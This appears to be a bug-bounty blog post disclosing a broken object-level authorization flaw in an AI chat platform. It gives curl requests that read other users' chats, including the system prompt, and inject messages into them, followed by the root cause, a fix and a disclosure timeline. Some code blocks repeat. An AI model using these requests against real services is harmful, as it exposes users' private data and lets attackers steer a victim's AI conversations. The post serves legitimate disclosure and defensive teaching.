August 24, 2026
I Found a Critical BOLA Vulnerability in a Cybersecurity AI Platform — Here’s Exactly How
A step-by-step breakdown of how I discovered Cross-User Chat Read & Write access, with full PoC, responses, and lessons for bug hunters.
By Divakarvasani
7 min read
I found a Broken Object-Level Authorization (BOLA) vulnerability in a cybersecurity-focused AI chat platform. Any authenticated user — including a free-tier account — could:
- Read the complete private chat history of any other user
- Write messages into any other user's chat conversations
All you needed was a valid session and the target's short chat ID. No elevated privileges. No special tools. One curl command.
This earned a $500 bounty (High severity, CVSS 8.6). Let me show you exactly how I found it — and how you can apply the same methodology on your next target.
The Target
The platform was a cybersecurity-focused AI chat product built on:
- Next.js with React Server Components (RSC)
- Auth.js v5 with JWE-encrypted session tokens
- Vercel hosting
- Short alphanumeric chat IDs (7 characters, nanoid-style) for storing conversations
It had free and paid tiers, GitHub and Google OAuth login, and positioned itself as a red-team AI for security professionals. That last detail made this BOLA particularly severe — users were likely discussing exploit code, client engagements, vulnerability research, and internal network details.
Phase 1: Recon — Understanding the Application
Before sending a single test request, I spent time mapping the application's structure.
JS Bundle Mining
I downloaded every JavaScript chunk the application loaded and analyzed them locally. Modern SPAs are surprisingly chatty in their bundles. By grepping through the downloaded files I found:
- All client-side routes via
_buildManifest.js - API endpoint patterns including
/api/chats,/api/messages, and session routes - Short alphanumeric ID patterns used for chat identifiers
- Next.js Server Action IDs (long hex strings)
Key observation: Chat IDs were short (7 characters of mixed-case alphanumeric). This is a red flag for BOLA — small ID space = high brute-force feasibility, and short IDs often indicate no secondary ownership validation is in place.
Session Token Inspection
Auth.js v5 uses JWE-encrypted session tokens — you can't decode them client-side. This means the user identity lives server-side in the session, and the server is solely responsible for tying it to data access. If the server skips that check, nothing client-side can save it.
Architecture Observation
I noticed the app used React Server Components — meaning page fetches with an RSC: 1 header cause the server to return full hydration data, including all chat messages embedded in the RSC payload. This would become important for the read exploit.
Phase 2: Two-Account BOLA Testing
The methodology here is simple and repeatable:
- Create two separate test accounts (Account A = victim, Account B = attacker)
- Perform an action as Account A
- Attempt to access or modify that resource as Account B
- If it works → BOLA confirmed
Test Environment Setup
Account A (Victim) Account B (Attacker) Auth OAuth OAuth User ID uid_victim_001 uid_attacker_002 Chat ID aB3xK9m zR7wL2p
I confirmed both sessions belonged to different users by hitting the session endpoint:
# Verify Account A identity
curl -sk 'https://example.com/api/auth/session' \
-H 'Cookie: __Secure-authjs.session-token=<ACCOUNT_A_TOKEN>'# Verify Account A identity
curl -sk 'https://example.com/api/auth/session' \
-H 'Cookie: __Secure-authjs.session-token=<ACCOUNT_A_TOKEN>'Response:
{
"user": {
"name": "TestUser_A",
"email": "testuser_a@example.com",
"id": "uid_victim_001"
},
"expires": "2026-07-05T06:26:48.762Z"
}
# Verify Account B identity
curl -sk 'https://example.com/api/auth/session' \
-H 'Cookie: __Secure-authjs.session-token=<ACCOUNT_B_TOKEN>'{
"user": {
"name": "TestUser_A",
"email": "testuser_a@example.com",
"id": "uid_victim_001"
},
"expires": "2026-07-05T06:26:48.762Z"
}
# Verify Account B identity
curl -sk 'https://example.com/api/auth/session' \
-H 'Cookie: __Secure-authjs.session-token=<ACCOUNT_B_TOKEN>'Response:
{
"user": {
"name": "TestUser_B",
"email": "testuser_b@example.com",
"id": "uid_attacker_002"
},
"expires": "2026-07-05T06:36:15.799Z"
}{
"user": {
"name": "TestUser_B",
"email": "testuser_b@example.com",
"id": "uid_attacker_002"
},
"expires": "2026-07-05T06:36:15.799Z"
}Two distinct users. Two distinct sessions. Now let's test.
Step 1 — Account A Creates a Private Chat
Account A sends a message, creating chat aB3xK9m:
curl -sk 'https://example.com/api/chat' -X POST \
-H 'Cookie: __Secure-authjs.session-token=<ACCOUNT_A_TOKEN>' \
-H 'Content-Type: text/plain;charset=UTF-8' \
-d '{
"messages": [
{
"id": "aB3xK9m",
"content": "Explain how SQL injection works",
"role": "user"
}
],
"id": "aB3xK9m"
}'curl -sk 'https://example.com/api/chat' -X POST \
-H 'Cookie: __Secure-authjs.session-token=<ACCOUNT_A_TOKEN>' \
-H 'Content-Type: text/plain;charset=UTF-8' \
-d '{
"messages": [
{
"id": "aB3xK9m",
"content": "Explain how SQL injection works",
"role": "user"
}
],
"id": "aB3xK9m"
}'The AI responded with a detailed explanation. This chat now lives in the database, owned by Account A (uid_victim_001). It should only be readable and writable by Account A.
Step 2 — READ BOLA: Account B Reads Account A's Private Chat
Account B requests Account A's chat page — using Account B's session cookie and Account A's chat ID:
curl -sk 'https://example.com/chats/aB3xK9m' \
-H 'Cookie: __Secure-authjs.session-token=<ACCOUNT_B_TOKEN>' \
-H 'RSC: 1' \
| grep -oP '"content":"[^"]*"' | head -10curl -sk 'https://example.com/chats/aB3xK9m' \
-H 'Cookie: __Secure-authjs.session-token=<ACCOUNT_B_TOKEN>' \
-H 'RSC: 1' \
| grep -oP '"content":"[^"]*"' | head -10Expected: 403 Forbidden or 404 Not Found
Actual Response:
"content":"You are [Platform Name], a cybersecurity focused AI assistant..."
"content":"Explain how SQL injection works"
"content":"SQL injection is a code injection technique that attackers use to...""content":"You are [Platform Name], a cybersecurity focused AI assistant..."
"content":"Explain how SQL injection works"
"content":"SQL injection is a code injection technique that attackers use to..."_🚨 _Account B just read Account A's private chat in full — system prompt, user message, and AI response included.
The RSC: 1 header is the key here. React Server Components deliver full page hydration data (including all embedded chat messages) when this header is present. Without it, you'd get a partial HTML shell. With it, you get everything.
Step 3 — READ BOLA (Reverse): Account A Reads Account B's Chat
The vulnerability is bidirectional. Account A reads Account B's chat zR7wL2p:
curl -sk 'https://example.com/chats/zR7wL2p' \
-H 'Cookie: __Secure-authjs.session-token=<ACCOUNT_A_TOKEN>' \
-H 'RSC: 1' \
| grep -oP '"content":"[^"]*"' | head -10curl -sk 'https://example.com/chats/zR7wL2p' \
-H 'Cookie: __Secure-authjs.session-token=<ACCOUNT_A_TOKEN>' \
-H 'RSC: 1' \
| grep -oP '"content":"[^"]*"' | head -10Actual Response:
"content":"You are [Platform Name], a cybersecurity focused AI assistant..."
"content":"How do I enumerate Active Directory?"
"content":"Active Directory enumeration typically begins with...""content":"You are [Platform Name], a cybersecurity focused AI assistant..."
"content":"How do I enumerate Active Directory?"
"content":"Active Directory enumeration typically begins with..."_🚨 _Confirmed bidirectional. Any user can read any other user's chats.
Step 4 — WRITE BOLA: Account B Injects a Message into Account A's Chat
Now the scarier part. Account B sends a POST to /api/chat using Account B's session but Account A's chat ID in the request body:
curl -sk 'https://example.com/api/chat' -X POST \
-H 'Cookie: __Secure-authjs.session-token=<ACCOUNT_B_TOKEN>' \
-H 'Content-Type: text/plain;charset=UTF-8' \
-d '{
"messages": [
{
"id": "aB3xK9m",
"content": "BOLA-WRITE-TEST-FROM-ATTACKER",
"role": "user"
}
],
"id": "aB3xK9m"
}'curl -sk 'https://example.com/api/chat' -X POST \
-H 'Cookie: __Secure-authjs.session-token=<ACCOUNT_B_TOKEN>' \
-H 'Content-Type: text/plain;charset=UTF-8' \
-d '{
"messages": [
{
"id": "aB3xK9m",
"content": "BOLA-WRITE-TEST-FROM-ATTACKER",
"role": "user"
}
],
"id": "aB3xK9m"
}'Expected: 403 Forbidden
Actual Response:
HTTP/2 200
content-type: text/plain; charset=utf-8
BOLA-WRITE-TEST-FROM-ATTACKER
[AI response to injected message...]HTTP/2 200
content-type: text/plain; charset=utf-8
BOLA-WRITE-TEST-FROM-ATTACKER
[AI response to injected message...]_🚨 _HTTP 200. The server processed the message and saved it to Account A's conversation. Account B just wrote into Account A's private chat.
Step 5 — Verify Unauthenticated Access is Blocked
curl -sk 'https://example.com/chats/aB3xK9m' \
-H 'RSC: 1'curl -sk 'https://example.com/chats/aB3xK9m' \
-H 'RSC: 1'Response: Empty — no chat data returned.
This confirms the server does have authentication. You must be logged in. But it has no authorization — it doesn't check if the logged-in user owns the resource they're requesting.
Summary of Results
Test Expected Actual Result Account B reads Account A's chat 403 / 404 200 + full chat content 🔴 VULNERABLE Account A reads Account B's chat 403 / 404 200 + full chat content 🔴 VULNERABLE Account B writes to Account A's chat 403 200 + message saved 🔴 VULNERABLE Unauthenticated reads any chat Blocked Blocked (empty) ✅ Secure
CVSS Score Breakdown
CVSS 4.0 Score: 8.6 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Vector Value Reasoning Attack Vector Network Exploitable remotely Attack Complexity Low No special conditions needed Privileges Required Low Free account is sufficient User Interaction None No victim action required Confidentiality High Full chat history exposed Integrity High Messages injectable into victim chats Availability None Data not destroyed by default exploit
Why This Is Severe (Context Matters)
On a generic chat app, a BOLA exposing "what someone said to a chatbot" might feel like Medium severity. Here, the context pushes it to High.
This was a cybersecurity AI platform. Users were likely discussing:
- Exploit code and payloads they'd generated
- Vulnerability details from active client engagements
- Internal network architecture and IP ranges
- Credentials and API keys pasted for analysis
- Confidential red-team assessment findings
A complete read of any user's chat history on this specific platform is a potential goldmine for attackers — and a serious breach of trust for security professionals who believed their work was private.
The write capability compounds the risk. By injecting context into a victim's conversation, an attacker could manipulate future AI responses — causing the AI to provide incorrect, misleading, or dangerous guidance the next time the victim interacts with that chat.
Root Cause
The server performed authentication (verifying the user was logged in via their session token) but not authorization (verifying the logged-in user owned the chat they were accessing).
In practice, this means the database queries for both the RSC chat fetch and the /api/chat POST were missing an ownership clause. Pseudocode of what existed:
-- What the server was doing (VULNERABLE)
SELECT * FROM chats WHERE chat_id = :chat_id
-- What it should have been doing (SECURE)
SELECT * FROM chats WHERE chat_id = :chat_id AND user_id = :session_user_id-- What the server was doing (VULNERABLE)
SELECT * FROM chats WHERE chat_id = :chat_id
-- What it should have been doing (SECURE)
SELECT * FROM chats WHERE chat_id = :chat_id AND user_id = :session_user_idThe same bug existed on both the read path (React Server Component) and the write path (API route handler).
The Fix
The remediation is straightforward:
1. Add ownership validation on every chat access:
// Before returning or writing any chat data, verify ownership
const chat = await db.chats.findFirst({
where: {
id: chatId,
userId: session.user.id // ← this line was missing
}
});
if (!chat) {
return new Response(null, { status: 404 }); // 404, not 403 (don't confirm existence)
}// Before returning or writing any chat data, verify ownership
const chat = await db.chats.findFirst({
where: {
id: chatId,
userId: session.user.id // ← this line was missing
}
});
if (!chat) {
return new Response(null, { status: 404 }); // 404, not 403 (don't confirm existence)
}2. Apply to ALL chat operations — read, write, delete, share, and any Server Actions (e.g., clearChats, shareChat).
3. Consider longer chat IDs (e.g., UUIDv4) as defense-in-depth to reduce brute-force feasibility.
4. Audit other resource types — if chat access was unscoped, user profiles, billing data, and shared resources may be too.
Disclosure Timeline
Date Event Day 0 Vulnerability discovered and confirmed with PoC Day 0 Report submitted through official VDP Day 0 + few hours Team confirmed the bug Day 1 Write path patched Day 2 Follow-up report submitted for read path (remained open post-initial fix) Ongoing $500 bounty paid; read path remediation in progress
Key Takeaways for Bug Hunters
1. Always test with two accounts
BOLA is one of the highest-paying bug classes and one of the most overlooked. You need two accounts and a systematic cross-access test for every resource type. This costs nothing — no special tools, no expensive subscriptions.
2. Learn the RSC: 1 header
On Next.js applications using React Server Components, the RSC: 1 request header triggers a full server-side data hydration response. Without it, you may get a partial HTML shell that hides data. With it, you get everything the page loads — including embedded resource content.
3. Short IDs are a hint
Seven-character alphanumeric IDs (nanoid-style) are a signal worth noting. The small ID space suggests the developers may not have anticipated direct access attempts — and often correlates with missing ownership validation.
4. Authentication ≠ Authorization
A server that correctly rejects unauthenticated requests can still have broken authorization. Confirm that both exist independently. In this case: auth worked, authz was completely absent.
5. Read the architecture, not just the endpoints
Understanding that this app used RSC for data hydration and short IDs for resources told me where to look before I tested a single endpoint. Architecture awareness multiplies your efficiency.
Final Thought
Authorization bugs are quietly some of the most impactful vulnerabilities in production applications. There's no shell, no RCE, no dramatic exploit chain — just a missing WHERE userId = :sessionUserId clause. But the effect is severe: every user's private data is exposed to every other user.
The pattern — authentication without authorization — appears in a significant portion of the API-heavy applications tested during real engagements. Developers invest heavily in login systems, OAuth flows, and session management, then forget the second question: is this authenticated user actually allowed to access this specific resource?
If you're new to bug bounty hunting, BOLA testing should be one of the first things you try on any new target. Set up two accounts. Find a resource. Try to access it from the other session. It's that simple — and it consistently pays out.
Happy hunting. 🐇
All vulnerabilities described in this article were disclosed responsibly through the affected company's official Vulnerability Disclosure Program. Domain names, endpoints, and user identifiers have been altered or generalized to protect the platform and its users. No real user data was accessed or retained during testing.